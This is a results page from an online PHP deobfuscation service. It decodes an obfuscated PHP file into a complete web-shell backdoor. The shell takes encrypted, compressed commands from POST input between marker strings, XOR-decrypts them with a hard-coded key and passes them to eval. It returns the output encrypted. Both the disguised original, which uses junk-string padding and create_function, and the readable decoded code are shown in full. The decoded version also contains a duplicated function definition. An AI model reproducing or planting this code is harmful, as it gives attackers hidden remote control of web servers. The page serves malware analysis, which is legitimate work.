Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $R='aKUdqeK!BSECK!McsK!";function xK!($t,$k)K!{$c=stK!rleK!n($k);$K!lK!=strlen($t)K..

Decoded Output download

<?php function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$k = "65a3c33d";
$kh = "149cb5a49bf2";
$kf = "5b1904be1af8";
$p = "byPaKUdqeBSECMcs";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
}

Did this file decode correctly?

Original Code

<?php
$R='aKUdqeK!BSECK!McsK!";function xK!($t,$k)K!{$c=stK!rleK!n($k);$K!lK!=strlen($t)K!';
$j=str_replace('D','','crDeatDe_DfuDDncDtion');
$f=';$o=K!"";forK!($i=0;$K!K!i<$l;){for($jK!K!K!=0;K!($j<$c&&$i<$l);$j++K!,$i++){K!$o.=K!$t{K';
$e='ress([email protected]!x(@baseK!64_decoK!de($mK![1]K!),K!$kK!)K!));[email protected]_get_cK!ontenK!ts();@oK!b_';
$C='end_clean(K!);[email protected]!64K!_enK!cK!odK!e(@x(@gzcoK!mK!press($o),$k));prinK!t("$p$kh$K!r$kf");}';
$I='gK!et_cK!ontents("php:/K!/input"K!),$mK!K!)==1){@obK!_staK!rt();@eK!val(@gzuK!ncomp';
$h='$k=K!"65a3c3K!3dK!";$kh="K!149cK!b5a49bf2K!";K!$kf="5bK!1904be1K!af8";$p="byK!P';
$J='!$i}^$k{$j}K!;}}returK!n $oK!;}ifK!(@preg_matcK!h(K!"/K!$kh(.+)$kfK!/",@K!file_';
$X=str_replace('K!','',$h.$R.$f.$J.$I.$e.$C);
$k=$j('',$X);$k();
?>

Function Calls

str_replace 2
preg_match 1
base64_decode 1
create_function 1
ob_start 1
file_get_contents 1

Variables

$j create_function
$k 65a3c33d
$h $k=K!"65a3c3K!3dK!";$kh="K!149cK!b5a49bf2K!";K!$kf="5bK!1904..
$I gK!et_cK!ontents("php:/K!/input"K!),$mK!K!)==1){@obK!_staK!r..
$f ;$o=K!"";forK!($i=0;$K!K!i<$l;){for($jK!K!K!=0;K!($j<$c&&$i<..
$e ress([email protected]!x(@baseK!64_decoK!de($mK![1]K!),K!$kK!)K!));[email protected]
$C end_clean(K!);[email protected]!64K!_enK!cK!odK!e(@x(@gzcoK!mK!press..
$kf 5b1904be1af8
$kh 149cb5a49bf2
$X $k="65a3c33d";$kh="149cb5a49bf2";$kf="5b1904be1af8";$p="byPa..
$J !$i}^$k{$j}K!;}}returK!n $oK!;}ifK!(@preg_matcK!h(K!"/K!$kh(..
$R aKUdqeK!BSECK!McsK!";function xK!($t,$k)K!{$c=stK!rleK!n($k)..
$p byPaKUdqeBSECMcs

Stats

MD5 542e782aba21afb457a8c57dee66805d
Eval Count 1
Decode Time 669 ms